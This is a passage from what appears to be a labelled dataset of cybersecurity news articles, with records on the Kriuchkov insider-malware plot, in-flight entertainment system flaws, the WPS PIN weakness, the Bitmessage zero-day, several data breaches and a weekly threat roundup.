Egor Igorevich Kriuchkov, 27-year-old, entered the United States as a tourist and was arrested in Los Angeles after meeting with the unnamed employee of an undisclosed Nevada-based company numerous times, between August 1 to August 21, to discuss the conspiracy.

""On or about July 16, EGOR IGOREVICH KRIUCHKOV used his WhatsApp account to contact the employee of victim company and arranged to visit in person in the District of Nevada,"" the court documents say.

""On or about July 28, EGOR IGOREVICH KRIUCHKOV entered the United States using his Russian Passport and a B1/B2 tourist visa.""

Kriuchkov also asked the employee to participate in developing tailored malware by sharing information about the company's infrastructure.


According to court documents released by the US Justice Department, the malicious software Kriuchkov asked to install aims to extract data from the company's network, allowing attackers to threaten it later to make the information public unless it pays a ransom.

Kriuchkov and his co-conspirators in Russia promised the employee to pay $1 million in Bitcoins after successfully planting the said malware and offered to launch a DDoS attack on the company's network to divert attention from the malware.

""If CHS1 [employee] agreed to this arrangement, the group would provide the malware to CHS1 [employee] in either a thumb drive to be inserted into a computer's USB drive or an email with an attachment containing malware.""

""The unidentified co-conspirator discussed various means by which to pay the employee, including payments using cryptocurrency, a guarantor security deposit, or cash.""

""After being contacted by the FBI, Kriuchkov drove overnight from Reno, Nevada, to Los Angeles. Kriuchkov asked an acquaintance to purchase an airline ticket for him in an attempt to fly out of the country,"" the United States agencies say.

After getting arrested by the FBI, who was conducting physical surveillance of Kriuchkov and his meetings, he listed prior companies the gang had targeted and also revealed that each of these targeted companies had a person working at those companies who installed malware on behalf of the gang.

To be noted, it's quite possible that a few high-profile ransomware and data breach attacks might have been executing in the same way by conspiring with the insiders.

Kriuchkov has been charged with one count of conspiracy to cause damage to a protected computer intentionally.
",Malware
Hacker Demonstrates How Easy In-flight Entertainment System Can Be Hacked,https://thehackernews.com/2016/12/hacking-in-flight-system.html,"Next time when you hear an announcement in the flight, ""Ladies and gentlemen, this is your captain speaking…,"" the chances are that the announcement is coming from a hacker controlling your flight.

Dangerous vulnerabilities in an in-flight entertainment system used by the leading airlines, including Emirates, United, American Airlines, Virgin, and Qatar, could let hackers hijack several flight systems and even take control of the plane.

According to security researchers from IOActive, the security vulnerabilities resides in the Panasonic Avionics In-Flight Entertainment (IFE) system used in planes run by 13 major airlines, providing a gateway for hackers which is absolutely terrifying.

The security holes could be exploited by hackers that could allow them to spoof flight information like map routes, speed statistics, and altitude values, and steal credit card information.

IOActive's Ruben Santamarta managed to ""hijack"" in-flight displays to change information like altitude and location, control the cabin lighting, as well as hack into the announcements system.

""Chained together this could be an unsettling experience for passengers,"" said Santamarta. ""I don't believe these systems can resist solid attacks from skilled malicious actors. This only depends on the attacker's determination and intentions, from a technical perspective it's totally feasible.""
Besides these critical issues, the researcher said in some instances; hackers could access credit card details of passengers stored in the automatic payment system and use their frequent flyer membership details to capture personal data.

The vulnerabilities affect 13 different airlines that use Panasonic Avionics system, which include American Airlines, United, Virgin, Emirates, Etihad, Qatar, FinnAir, KLM, Iberia, Scandinavian, Air France, Singapore, and Aerolineas Argentinas.

The vulnerabilities were reported to Panasonic in March last year, and the researcher waited more than a year and a half to go public, so the company had ""enough time to produce and deploy patches, at least for the most prominent vulnerabilities.""

Emirates is working with Panasonic to resolve these issues and regularly update its systems. ""The safety of our passengers and crew on board is a priority and will not be compromised,"" Emirates said, reported the Telegraph.

Santamarta is the same researcher who warned of security issues in systems used by different aircraft in the past.

Back in 2014, he discovered that it was possible to reverse engineer a bug, which let him connect to the Wi-Fi signal or the in-flight entertainment system to connect to airplanes' equipment, including the navigation system.

For in-depth technical details about the new vulnerabilities discovered by Santamarta, you can head on to IOActive's official blog post published today.

",Vulnerability
Easy Router PIN Guessing with new WiFi Setup vulnerability,https://thehackernews.com/2011/12/easy-router-pin-guessing-with-new-wifi.html,"Easy Router PIN Guessing with new WiFi Setup vulnerability

There is a newly discovered vulnerability in the WiFi Protected Setup standard that reduces the number of attempts it would take an attacker to brute-force the PIN for a wireless router's setup process. The flaw results in too much information about the PIN being returned to an attacker and makes the PIN quite weak, affecting the security of millions of WiFi routers and access points. Security researcher Stefan Viehbock discovered the vulnerability (PDF) and reported it to US-CERT.

The problem affects a number of vendors' products, including D-Link, Netgear, Linksys and Buffalo. ""I noticed a few really bad design decisions which enable an efficient brute force attack, thus effectively breaking the security of pretty much all WPS-enabled Wi-Fi routers. As all of the of the more recent router models come with WPS enabled by default, this affects millions of devices worldwide"" Viehbock said.

""One authentication attempt usually took between 0.5 and 3 seconds to complete. It was observed that the calculation of the Diffie-Hellman Shared Key (needs to be done before generating M3) on the AP took a big part of the authentication time. This can be speeded up by choosing a very small DH Secret Number, thus generating a very small DH Public Key and making Shared Key calculation on the AP's side easier.,"" he says.

""When the PIN authentication fails the access point will send an EAP-NACK message back to the client. The EAP-NACK messages are sent in a way that an attacker is able to determine if the first half of the PIN is correct. Also, the last digit of the PIN is known because it is a checksum for the PIN. This design greatly reduces the number of attempts needed to brute force the PIN. The number of attempts goes from 108 to 104 + 103 which is 11,000 attempts in total,"" the US-CERT advisory says.

Viehbock also developed a Python tool to brute-force the PINs. He hasn't released the tool yet, but says he may do so once the code is in better shape. None of the affected vendors have released fixes or workarounds for the bug, but Viehbock says in his paper that disabling WPS looks to be the main practical mitigation, Implementing long lock-out times for multiple authentication failures would help as well.

",Vulnerability
Zero-day Smartphone Vulnerability exposes location and User Data,https://thehackernews.com/2012/02/zero-day-smartphone-vulnerability.html,"Zero-day Smartphone Vulnerability exposes location and User Data

Smartphones are increasingly becoming the preferred device for both personal and professional computing, which has also attracted hackers to increase their focus on creating malware and other security vulnerabilities for these devices. A former McAfee researcher ""Dmitri Alperovitch"" has used a previously unknown hole in smartphone browsers to plant China-based malware that can record calls, pinpoint locations and access user texts and emails.

He conducted the experiment on a phone running Android operating system, although he saysApple Inc.'s iPhones are equally vulnerable. Android is particularly vulnerable because it has become the main operating system for mobile devices. Today most smartphones are android-based therefore there is a huge dividend for hackers to write Android-targeted malware compared to other operating systems.

Alperovitch, who has consulted with the U.S. intelligence community, is scheduled to demonstrate his findings Feb. 29 at the RSA conference in San Francisco, an annual cyber security gathering. Alperovitch and his team reversed engineered the malware called Nickispy and and took control of it.

A nice little piece of Android spyware, commonly known as 'NickiSpy.C' . For those unfamiliar, NickiSpy gained quite a bit of notoriety around July/August 2011, as it was one of the first malicious Android applications to have the ability to record phone calls. Alperovitch said he exploited a so-called zero-day vulnerability in smartphone browsers to secretly install the malware. Zero-day vulnerabilities are ones that are not yet known by the manufacturers and anti-virus companies.

The malware also intercepts texts and emails and tracks the phone's location, he said. In theory, it could be used to infiltrate a corporate network with which the phone connects. Like most pieces of Android spyware/malware, installation is dependant on the end-user. In an experiment he also delivered it through a classic ""spear phishing"" attack.

Protect from Malware : For Android, the danger is downloading apps outside of Google's App Market . If you're off somewhere getting apps from sources you don't know or trust, there could be consequences. For iPhone users, the line really is whether you jailbreak or not. Jailbreaking can be pretty easy, and getting pirated or bootlegged apps can seem like a great way to save money, but in doing so, you're basically handing out the smart phone equivalent of a front door key to Lord only knows.

",Malware
Hackers Exploiting 'Bitmessage' Zero-Day to Steal Bitcoin Wallet Keys,https://thehackernews.com/2018/02/bitmessage-bitcoin-hackers.html,"Bitmessage developers have warned of a critical 'remotely executable' zero-day vulnerability in the PyBitmessage application that was being exploited in the wild.

Bitmessage is a Peer-to-Peer (P2P) communications protocol used to send encrypted messages to users. Since it is decentralized and trustless communications, one need-not inherently trust any entities like root certificate authorities.

Those who unaware, PyBitmessage is the official client for Bitmessage messaging service.

According to Bitmessage developers, a critical zero-day remote code execution vulnerability, described as a message encoding flaw, affects PyBitmessage version 0.6.2 for Linux, Mac, and Windows and has been exploited against some of their users.
""The exploit is triggered by a malicious message if you are the recipient (including joined chans). The attacker ran an automated script but also opened, or tried to open, a remote reverse shell,"" Bitmessage core developer Peter Šurda explained in a Reddit thread.
""The automated script looked in ~/.electrum/wallets [Electrum wallets], but when using the reverse shell, he had access to other files as well. If the attacker transferred your Bitcoins, please contact me (here on Reddit).""
Moreover, hackers also targeted Šurda. Since his Bitmessage addresses were most likely considered to be compromised, he suggested users not to contact him at that address.
""My old Bitmessage addresses are to be considered compromised and not to be used,"" Šurda tweeted.
Šurda believes that the attackers exploiting this vulnerability to gain remote access are primarily looking for private keys of Electrum bitcoin wallets stored on the compromised device, using which they could/might have stolen bitcoins.

Bitmessage developers have since fixed the vulnerability with the release of new PyBitmessage version 0.6.3.2.

So, if you are running an affected version of PyBitmessage, you are highly recommended to upgrade your software to version 0.6.3.2.

Since the vulnerability affects PyBitmessage version 0.6.2 and not PyBitmessage 0.6.1, alternatively you can also consider, as suggested by Šurda, downgrading your application to mitigate yourself from potential zero-day attacks.

Although the developers did not reveal more details about the critical vulnerability, Šurda advised users to change all their passwords and create new Bitmessage keys, if they have any suspicion of their computers being compromised.

Binary files for Windows and OSX are expected to become available on Wednesday.

The investigation into these attacks is still ongoing, and we will update this article with more information as it becomes available.

Stay Tuned! Stay Safe!

",Vulnerability
German software developer Ashampoo Hit by Data Breach !,https://thehackernews.com/2011/04/german-software-developer-ashampoo-hit.html,"German software developer Ashampoo Hit by Data Breach !

German software developer Ashampoo has notified its customers about a data breach incident that resulted in the exposure of their names and email addresses.

According to an announcement posted on the company's website, unidentified hackers broke through its security systems and gained unauthorized access to a server.

""We discovered the break-in and interrupted it instantly. The security gap through which the hackers gained access was closed immediately,"" said Ashampoo's CEO Rolf Hilchner.

""At the same time we reported this incident to the police. Further investigations are underway. Unfortunately, the traces of the well-concealed hackers currently disperse abroad,"" he added.

Fortunately, the hackers did not obtain access to billing information as this data is not stored on the company's servers.

In addition to its software development business, which includes anti-malware, firewall and data encryption products, the Ashampoo Group offers a diverse range of services through subsidiaries.

Examples of these are DownloadMix, CleverReach, H&B Immobilien, CarShampoo or Ashampoo Air Services, but none of them were impacted by this incident.

Ashampoo didn't disclose how many individuals were affected by the breach, but since the company claims to have has over 13.8 million customers, their number is probably very large.

This incident is the latest in a series of security breaches that resulted in the theft of customer email lists from major companies.

At the beginning of the month, Epsilon Data Management, one of the largest email marketing services provider in the world announced that its servers were compromised by hackers who walked away with the email addresses and names of tens or hundreds of millions of consumers.

Ashampoo warns customers about targeted attacks that might result from this incident. It gives a recent example where hackers broke into the email systems of PurelyGadgets and sent fake confirmation orders in the company's name. The rogue emails distributed PDF documents rigged with an exploit.

""If you for example receive a confirmation of an order from PurelyGadgets or another company without having made an appropriate purchase there, please do not open the attachment and delete the e-mail immediately,"" Mr. Hilchner advises.

",Malware
Web Application Security : PHP SuperGlobal Variables are vulnerable to Hackers,https://thehackernews.com/2013/09/thanks-to-php-superglobal-80-websites.html,"Hackers are focusing on vulnerabilities in the PHP web application development platform threatening 80% websites in the world, including many big website i.e. Facebook and Wikipedia. PHP has several predefined variables that are called SuperGlobals i.e. POST, GET, COOKIES, FILES etc.

Imperva Releases Hacker Intelligence Initiative Report, particularly concerned about two vulnerabilities that can be used to execute code on servers running PHP and fail to stop PHP SuperGlobal parameter variables being modified by external sources.
Dubbed as CVE-2011-2505, describes a vulnerability in the authentication feature in PhpMyAdmin (PMA) that enables attackers to modify the _SESSION SuperGlobal variable.
CVE-2010-3065 describes a problem in the PHP's session serialization mechanism. By injecting malicious value into an internal variable using PHP's Superglobal mechanism, the attacker is able to change the application flow and execute arbitrary commands to take control over the server.
""Because compromised hosts can be used as botnet slaves to attack other servers, exploits against PHP applications can affect the general security and health of the entire web,""

Vulnerability is particularly dangerous due to the common use of PHP and could be used by hackers for a variety of purposes. ""The effects of these attacks can be great, as the PHP platform is by far the most popular Web application development platform, powering more than 80% of all Web sites, including Facebook and Wikipedia. Clearly, it is time for the security community to devote more attention to this issue.""

They note that PHP applications do not protect against the modification of variables from external sources, such as query parameters or cookies.
The attacker can combine the two separate vulnerabilities to extend the scope of the flaws. ""Based on the captured malicious traffic, we were able to trace its origin and find the specific exploit code used to generate it in a hacker forum on the web.""

Imperva's research team noted an average of 144 attacks per application that contained attack vectors related to SuperGlobal parameters, for the purpose of remote code execution, remote file inclusion and security filter evasion attacks.

",Vulnerability
PF Chang's China Bistro Confirms Credit and Debit Card Breach,https://thehackernews.com/2014/06/pf-changs-china-bistro-confirms-credit.html,"Following the massive data breaches at eBay, Neiman Marcus Group and Michaels Stores, yet another private equity company Centerbridge Partners-backed restaurant chain P.F. Chang's China Bistro suffered a potential Credit and Debit card data breach.

The Asian-themed casual dining restaurant chain confirmed on Thursday their customers' Credit and Debit card information were stolen in the cyber attack on its restaurants, saying it is temporarily switching to a manual Credit and Debit card imprinting system for all of its P.F. Chang's China Bistro branded restaurants located in the United States, in order to process cards safety.

""At P.F. Chang's, the safety and security of our guests' payment information is a top priority,"" said Rick Federico, CEO of P.F. Chang's. ""Therefore, we have moved to a manual credit card imprinting system for all P.F. Chang's China Bistro branded restaurants located in the continental United States. This ensures our guests can still use their credit and debit cards safely in our restaurants as our investigation continues.""

P.F. Chang's released a statement saying that the restaurant chain was first alerted on Tuesday about the data breach by the United States Secret Service, which is investigating the matter along with a team of third-party forensics experts to understand the nature and scope of the incident.
""On Tuesday, June 10, P.F. Chang's learned of a security compromise that involves credit and debit card data reportedly stolen from some of our restaurants. Immediately, we initiated an investigation with the United States Secret Service and a team of third-party forensics experts to understand the nature and scope of the incident, and while the investigation is still ongoing, we have concluded that data has been compromised,"" reads the statement.
Till now, the company didn't know how many customers were affected in the data breach but it assured that company is working with the credit and debit card companies to identify those cards at risk.

The company also advised its customers to monitor their bank statements for any type of fraudulent activity. In addition, the company have also established a dedicated public website, pfchangs.com/security, for their customers to receive queries and answers it.

",Data_Breaches
NSA Reportedly Intercepts US-made Internet Routers to Install Spyware,https://thehackernews.com/2014/05/nsa-reportedly-intercepts-us-made.html,"The US Intelligence Agency, NSA has been reportedly intercepting and accessing routers, servers, and other computer networking hardware to plant data gathering ""backdoors"" and other spywares before they are exported and delivered to the international customers, reported by the Guardian.

Yesterday in a published excerpt of his forthcoming book, ""No Place to Hide"", Journalist Glenn Greenwald underlines the interest of National Security Agency in planting backdoors in U.S. suppliers' routers and other networking devices in order to carry out its massive surveillance program.

""A June 2010 report from the head of the NSA's Access and Target Development department is shockingly explicit,"" Greenwald said. ""The NSA routinely receives — or intercepts — routers, servers and other computer network devices being exported from the US before they are delivered.""

While US government is always prohibiting the purchase of Huawei products due to suspected backdoors from the Chinese government, however the book written by Glenn Greenwald reads that the US government does the same thing with US suppliers' hardware and repackages them with a factory seal before supplying them to overseas nations.
As Greenwald notes in the excerpt, ""It is quite possible that Chinese firms are implanting surveillance mechanisms in their network devices. But the US is certainly doing the same.""
""The agency then implants backdoor surveillance tools, repackages the devices with a factory seal, and sends them on. The NSA thus gains access to entire networks and all their users. The document gleefully observes that some 'SIGINT tradecraft…is very hands-on (literally!)',"" Greenwald writes.
According to Greenwald, the document of this new revelation is going to release today. His new book is based upon the leaked documents from 2010 provided by the former NSA contractor Edward Snowden that detailed the NSA receiving or intercepting various devices in the US before exporting them to foreign countries, which he apparently obtained from Snowden.
Image Credit: Arstechnica
So far, The US National Security Agency (NSA) has been working with the security firm RSA on planting backdoors to spy on people, but if these allegations by Greenwald are correct, it's all clear that all manner of US companies must be complicity involved with the agency.

By planting backdoors surveillance systems in the equipments, the NSA could feasibly gain access to the vast networks and users.

""In one recent case, after several months a beacon implanted through supply-chain interdiction called back to the NSA covert infrastructure,"" the NSA report says, according to the Guardian. ""This callback provided us access to further exploit the device and survey the network.""

It's not first time the NSA has been accused of this type of allegation. Also a report from German newspaper Der Spiegel alleged that the US intelligence agency intercepts the shipping deliveries to plant back doors in electronic equipments in order to gain remote access of the systems, including computers' hard drives, routers, and other devices from companies such as Cisco, Dell, Western Digital, Seagate, Maxtor, Samsung, and Huawei.

",Malware
THN Weekly Roundup — 10 Most Important Stories You Shouldn't Miss,https://thehackernews.com/2017/07/hacker-news-cybersecurity.html,"Here we are with our weekly roundup, briefing this week's top cyber security threats, incidents and challenges.

This week has been very short with big news from shutting down of two of the largest Dark Web marketplaces and theft of millions of dollars in the popular Ethereum cryptocurrency to the discovery of new Linux malware leveraging SambaCry exploit.

We are here with the outline of this week's stories, just in case you missed any of them. We recommend you read the entire thing (just click 'Read More' because there's some valuable advice in there as well).

Here's the list of this Week's Top Stories:

1. Feds Shuts Down AlphaBay and Hansa Dark Web Markets — Dream Market Under Suspicion

On Thursday, Europol announced that the authorities had shut down two of the largest criminal Dark Web markets — AlphaBay and Hansa — in what's being called the largest-ever international operation against the dark web's black market conducted by the FBI, DEA and Dutch National Police.

Interestingly, the federal authorities shut down AlphaBay, but before taking down Hansa market, they took control of the Dark Web market and kept it running for at least a month in an effort to monitor the activities of its visitors, including a massive flood of Alphabay refugees.

After the shutdown of both AlphaBay and Hansa, Dream Market has emerged as the leading player, which has been in business since 2013, but it has now been speculated by many dark web users that Dream Market is also under police control.

For detailed information — Read more.

2. New Ransomware Threatens to Send Your Internet History to All Your Friends

After WannaCry and Petya ransomware outbreaks, a new strain of ransomware has been making the rounds on the Google Play Store in bogus apps, which targets Android mobile phone users.

Dubbed LeakerLocker, instead of encrypting files on your device, this Android ransomware secretly collects personal images, messages and browsing history and then threatens to share them with your contacts if you don't pay $50 (£38).

For more detailed information on the LeakerLocker ransomware — Read more.

3. New CIA Leaks — Smartphone Hacking and Malware Development
WikiLeaks last week published the 16th batch of its ongoing Vault 7 leak, revealing the CIA's Highrise Project that allowed the spying agency to stealthy collect and forwards stolen data from compromised smartphones to its server through SMS messages.

This week, the whistleblowing organisation revealed about a CIA contractor — Raytheon Blackbird Technologies — who was responsible for analysing advanced malware and hacking techniques being used in the wild by cyber criminals.

For more detailed information on Highrise Project and its contractor Raytheon Blackbird Technologies — Read More.

4. Three Back-to-Back Multi-Million Dollar Ethereum Heist in 20 Days

This week, an unknown hacker stole nearly $32 Million worth of Ethereum – one of the most popular and increasingly valuable cryptocurrencies – from wallet accounts linked to at least three companies by exploiting a critical vulnerability in Parity's Ethereum Wallet software.

This was the third Ethereum cryptocurrency heist that came out two days after an alleged hacker stole $7.4 Million worth of Ether from trading platform CoinDash and two weeks after someone hacked into South Korean cryptocurrency exchange and stole more than $1 Million in Ether and Bitcoins from user accounts.

For more detailed information about the Ethereum Heist — Read More.

5. Critical Gnome Flaw Leaves Linux PCs Vulnerable

This week has been bad for Linux users as well. A security researcher discovered a code injection vulnerability in the thumbnail handler component of GNOME Files file manager that allowed hackers to execute malicious code on targeted Linux machines.

German researcher Nils Dagsson Moskopp dubbed the vulnerability Bad Taste (CVE-2017-11421) and also released proof-of-concept (PoC) code on his blog to demonstrate the vulnerability.

For more details about the Bad Taste vulnerability and its PoC — Read More.

6. New Malware Exploits SambaCry to Hijack NAS Devices
Despite being patched in late May, the SambaCry vulnerability is currently being leveraged by a new piece of malware to target the Internet of Things (IoT) devices, particularly Network Attached Storage (NAS) appliances.

SambaCry is a 7-year-old critical remote code execution (RCE) vulnerability (CVE-2017-7494) in Samba networking software that could allow a hacker to remotely take full control of a vulnerable Linux and Unix machines.

The flaw was discovered and patched two months ago, but researchers at Trend Micro warned that the flaw had been actively exploited by the SHELLBIND malware that mostly targets NAS devices used by small and medium-size businesses.

For more detailed information on the SHELLBIND malware — Read More.

7. Devil's Ivy — Millions of Internet-Connected Devices At Risk

This week, researchers at the IoT-focused security firm Senrio discovered a critical remotely exploitable vulnerability in an open-source software development library used by major IoT manufacturers that eventually left millions of smart devices vulnerable to hacking.

Dubbed Devil's Ivy, the vulnerability (CVE-2017-9765) in the gSOAP toolkit (Simple Object Access Protocol) — an advanced C/C++ auto-coding tool for developing XML Web services and XML application.

The researchers also released proof-of-concept (PoC) video demonstrating the RCE on a security camera manufactured by Axis Communications.

For more detailed information on the Devil's Ivy and PoC video — Read More.

8. ""Ubuntu Linux for Windows 10 Released"" — Sounds So Weird?

Downloading an entire operating system has just become as easy as downloading an application for Windows 10 users, as Microsoft last week announced the availability of popular Linux distro 'Ubuntu' in the Windows App Store.

While the company announced its plans to launch Fedora and SUSE Linux as well on Windows Store, the company did not reveal exactly when its users can expect to see these two flavours of Linux distro on the App Store.

For detailed information on how to install and run Ubuntu on Windows 10 — Read More.

9. Over 70,000 Memcached Servers Vulnerable to Hacking
It's been almost eight months since the Memcached developers have patched several critical remote code execution (RCE) vulnerabilities in the software, but tens of thousands of servers running Memcached application are still vulnerable.

Cisco's Talos intelligence and research group last year discovered three critical RCE vulnerabilities in Memcached — a moderhttps://thehackernews.com/2017/07/segway-hoverboard-hacking.htmln open-source and easily deployable distributed caching system that allows objects to be stored in memory.

The vulnerability exposed major websites including Facebook, Twitter, YouTube, Reddit, to hackers, but the team of researchers scanned the internet on two different occasions and found that over 70,000 servers are still vulnerable to the attacks, including ransomware attacks similar to the one that hit MongoDB databases in late December.

For more in-depth information on the Memcached vulnerabilities — Read More.

10. Tor Launches Bug Bounty Program for Public

After its intention to launch a public bug bounty program in late December 2015, the Tor Project has finally launched a ""Bug Bounty Program,"" encouraging hackers and security researchers to find and privately report bugs that could compromise the anonymity network.

The bug bounty reports will be sent through HackerOne — a startup that operates bug bounty programs for companies including Yahoo, Twitter, Slack, Dropbox, Uber, General Motors – and even the U.S. Department of Defense for Hack the Pentagon initiative.

For detailed information on bug bounty prices and types of valid vulnerabilities — Read More.

Other Important News This Week

Besides these, there were lots of incidents happened this week, including:

Microsoft's smart move to help take down cyber espionage campaigns conducted by ""Fancy Bear"" hacking group.
A new credential stealing malware found being sold for as cheap as $7 on underground forums.
Cisco patched a highly critical RCE vulnerability in its WebEx browser extension for Chrome and Firefox, which could allow attackers to execute malicious code on a victim's computer remotely.
Windows 10 now let you Reset forgotten password directly from your computer's Lock Screen.
Several critical vulnerabilities in Segway Ninebot miniPRO could allow hackers to remotely take ""full control"" over the hoverboard within range and leave riders out-of-control.
Ashley Madison's parent company Ruby Corp has agreed to pay a total of $11.2 Million to roughly 37 million users whose personal details were exposed in a massive data breach two years ago.

",Vulnerability
Million ASP.Net web sites affected with mass SQL injection attack,https://thehackernews.com/2011/10/million-aspnet-web-sites-affected-with.html,"Million ASP.Net web sites affected with mass SQL injection attack
Hackers are in the midst of a massively successful SQL injection attack targeting websites built on Microsoft's ASP.Net platform. About 180,000 pages have been affected so far, security researchers say.

Attackers have planted malicious JavaScript on ASP.Net sites that causes the browser to load an iframe with one of two remote sites: www3.strongdefenseiz.in and www2.safetosecurity.rr.nu, according to security researchers at Armorize who discovered the attack. From there, the iframe attempts to plant malware on the visitor's PC via a number of browser drive-by exploits.

A drive-by exploit will load malware without a visitor's knowledge or participation (no need to open a file or click on a link). Fortunately, the attackers are using known exploits, with patches available, so the attack can only be successful if a visitor is using an outdated, unpatched browser without the latest version of Adobe PDF or Adobe Flash or Java.

Unfortunately, Armorize says that only a few of the most popular antivirus vendors can detect the dropped malware, according to the Virustotal web site. Virtustotal is a security monitoring service offered by Hispasec Sistemas that analyzes suspicious files and URLs. At this time, it says that six antivirus packages out of the 43 it monitors can detect this latest SQL injection attack.

These are AntiVir, ByteHero, Fortinet, Jiangmin, McAfee and McAfee-GW-Edition.The attack is targeting users whose default browser language is English, French, German, Italian, Polish or Breton. One of the sites accessed via the iframe is in Russia, the other is in the United States and is hosted by HostForWeb.com, Armorize says. Some of the planted malware accesses a site hosted in the United States, too.

Users are advised to take advantage of NoScript in order to protect themselves from this, and many other Web based threats.

",Vulnerability
ARMY : USB Drive responsible for over 70 percent of Cyber Security Breaches,https://thehackernews.com/2012/10/army-usb-drive-responsible-for-over-70.html,"A ban on the use of pen drives has not been able to safeguard cyber security as it has now been labeled as a major threat in defence forces, the Army officials said. The use of pen drives as an easy-to-carry storage device has increased in the recent past and internal reports have confirmed that over 70 percent cyber security breaches in the armed forces are due to their unauthorised use

""These pen drives, which are mostly manufactured in China, have emerged as a big threat to our cyber security systems,"" they said.

Generally it is found that officials use pen drive to store official data for use at their personal computers but from there, it is transmitted from their IP addresses to hackers from the 'malware' present in the pen drives. About a couple of years ago, a Major posted in Andaman and Nicobar Islands was apprehended as it was found that sensitive data was being transferred from his computer.

However, it later emerged that his system had been hacked and spying viruses were transferring information to other computers. Measures have been taken by the other two services also to tighten their cyber security as IAF (Indian Air Force) also recently issued instructions to its personnel warning them against having any official data on their personal computers and pen drives.

Anybody found violating these instructions in checks by cyber security personnel will draw strict action which may even amount to disciplinary action including court martial, they said.

Source

",Malware
"Harvard Carr Center for Human Rights Policy Hacked, Password was ""DOG"" ?",https://thehackernews.com/2012/10/harvard-carr-center-for-human-rights.html,"Harvard's Carr Center for Human Rights Policy website (www.hks.harvard.edu/cchrp/) was hacked last week and then silently fixed by the administrator without giving Reply/Credit to the Whitehat Hacker who reported the vulnerability. The Hack incident was performed in 3 Phases as described below:

Phase 1: A Hacker , with nickname ""FastFive"" posted a few sql injection vulnerable Educational sites on a famous Hacking Forum last week which included the SQLi vulnerable link for the Harvard Carr Center for Human Rights Policy website, as you can see in the list in the above screenshot taken by me.

Phase 2: Almost 100's of Hackers have seen the post from ""FastFive"" and they got some juicy information for their next targets. One of them named, ""Vansh"" successfully exploit the Harvard's site and extracted the database onto his computer. He Found the username and Password from the table and tried to login on the Admin access panel location. Yes, he was logged in with password ""DOG"". We have confirmed the User:Password validity before posting this news and below is the screenshot posted by the Hackers. For security reasons we are not disclosing any databases or usernames, but why are we disclosing the password ? It's because, using a three character password by the administration of one of the biggest universities makes me do so. I think even a brute force tool will take half second to crack such a weak password.


Phase 3: Because Vansh is a Whitehat hacker he decided to inform the Administrator without disclosing the Hack in public before the patch. He mailed the admins and was waiting for the reply from the last 2-3 Days. But today he saw that they fixed the vulnerability in the site silently without giving credit or a simple Thank you reply to this Hacker who informed them and revoked the access to all external IP's.

So, finally this NO REPLY made him inform The Hacker News and We educate you that Never use ""DOG"" as your Password. Happy Hunting !

",Vulnerability
REMnux: A Linux Distribution for Reverse-Engineering Malware,https://thehackernews.com/2011/10/remnux-linux-distribution-for-reverse.html,"REMnux: A Linux Distribution for Reverse-Engineering Malware
REMnux is a lightweight Linux distribution for assisting malware analysts in reverse-engineering malicious software. The distribution is based on Ubuntu and is maintained by Lenny Zeltser.

REMnux is designed for running services that are useful to emulate within an isolated laboratory environment when performing behavioral malware analysis. As part of this process, the analyst typically infects another laboratory system with the malware sample and directs potentially-malicious connections to the REMnux system that's listening on the appropriate ports.
REMnux is also useful for analyzing web-based malware, such as malicious JavaScript, Java programs, and Flash files. It also has tools for analyzing malicious documents, such as Microsoft Office and Adobe PDF files, and utilities for reversing malware through memory forensics. In these cases, malware may be loaded onto REMnux and analyzed directly on the REMnux system without requiring other systems to be present in the lab.
Downloading REMnux

VMware virtual appliance archive
ISO image of a Live CD

",Malware
McAfee DeepSAFE - Anti-rootkit Security Solution,https://thehackernews.com/2011/09/mcafee-deepsafe-anti-rootkit-security.html,"McAfee DeepSAFE - Anti-rootkit Security Solution
McAfee previewed its DeepSAFE hardware-assisted security technology for proactively detecting and preventing stealthy advanced persistent threats (APTs) and malware. The technology, which was co-developed with Intel, sits below the OS, providing the ability to fundamentally change the security game, according to the companies.

According to McAfee Labs, more than 1,200 new rootkits per day are detected - equating to 50 per hour every single day. The DeepSAFE technology, which was demonstrated at the Intel Developer Forum in San Francisco, was able to detect and stop a zero-day Agony rootkit from infecting a system in real time. This technology is expected to launch in products later in 2011.

Key attributes of McAfee DeepSAFE:
Builds the foundation for next-generation hardware-assisted security operating beyond the operating system
Provides a trusted view of system events below the operating system
Exposes many attacks that are undetectable today
New vantage point to block sophisticated stealth techniques and APTs
Provides real time CPU event monitoring with minimal performance impact
Combines the power of hardware and flexibility of software to deliver a new foundation for security.
""Intel and McAfee are working on joint technologies to better protect every segment across the compute continuum from PCs to devices,"" said Renée James, senior vice president and general manager of the Software and Services Group at Intel and the Chairman of McAfee. ""By combining the features of existing Intel hardware and innovations in security software, Intel and McAfee are driving innovation in the security industry by providing a new way to protect computing devices. We are truly excited to introduce this technology upon which we will deliver new solutions.""
[Source]

",Malware
T-Mobile Suffers Data Breach Affecting Prepaid Wireless Customers,https://thehackernews.com/2019/11/t-mobile-prepaid-data-breach.html,"Are you a T-Mobile prepaid customer? If yes, you should immediately create or update your associated account PIN/passcode as additional protection.

The US-based telecom giant T-Mobile today disclosed a yet another data breach incident that recently exposed potentially personal information of some of the customers using its prepaid services.

What happened? In a statement posted on its website, T-Mobile said its cybersecurity team discovered a ""malicious, unauthorized access"" to information associated with an undisclosed number of its prepaid wireless account customers.

However, the company did not disclose precisely how the breach happened, when it happened, and how the attackers unauthorizedly managed to access the private information of the company's prepaid customers.

What type of information was accessed? The stolen data associated with customers' prepaid wireless accounts include their:

names,
phone numbers,
billing addresses (if customers provided this data during account establishment),
account numbers, and
rate plans and features, like whether a customer has added an international calling feature.

""Rate plan and features of your voice calling service are 'customer proprietary network information' ('CPNI') under FCC rules, which require we provide you notice of this incident,"" T-Mobile said.

What type of information was not compromised? The telecommunication giant confirmed that no financial information, social security numbers, and passwords were compromised as a result of the security breach incident.

What is T-Mobile now doing? The company took necessary steps to shut down the unauthorized access upon discovery and immediately notified law enforcement of the security incident.

The company is also notifying affected customers through email and directing them to a customer support page on T-Mobile's website.

T-Mobile also made it clear that if you don't receive an email notification from the company, it's likely your account was not among those impacted by this incident, but ""it is possible you didn't hear from [the company] because [it] doesn't have up-to-date contact information for you.""

""We are always working to improve security so we can stay ahead of malicious activity and protect our customers. We have a number of safeguards in place to protect your personal information from unauthorized access, use, or disclosure,"" T-Mobile said.

What Should You Do Now? Affected customers are recommended to update the PIN/passcode to access their accounts.

Do it even if you are not affected—just to be on the safer side.

Affected customers should also be suspicious of phishing emails, which are usually the next step of cybercriminals in an attempt to trick users into giving away their passwords and credit card information.

Although the T-Mobile data breach incident did not expose any financial information, it is always a good idea to keep a close eye on your bank and payment card statements for any unusual activity and report to the bank if you find any.

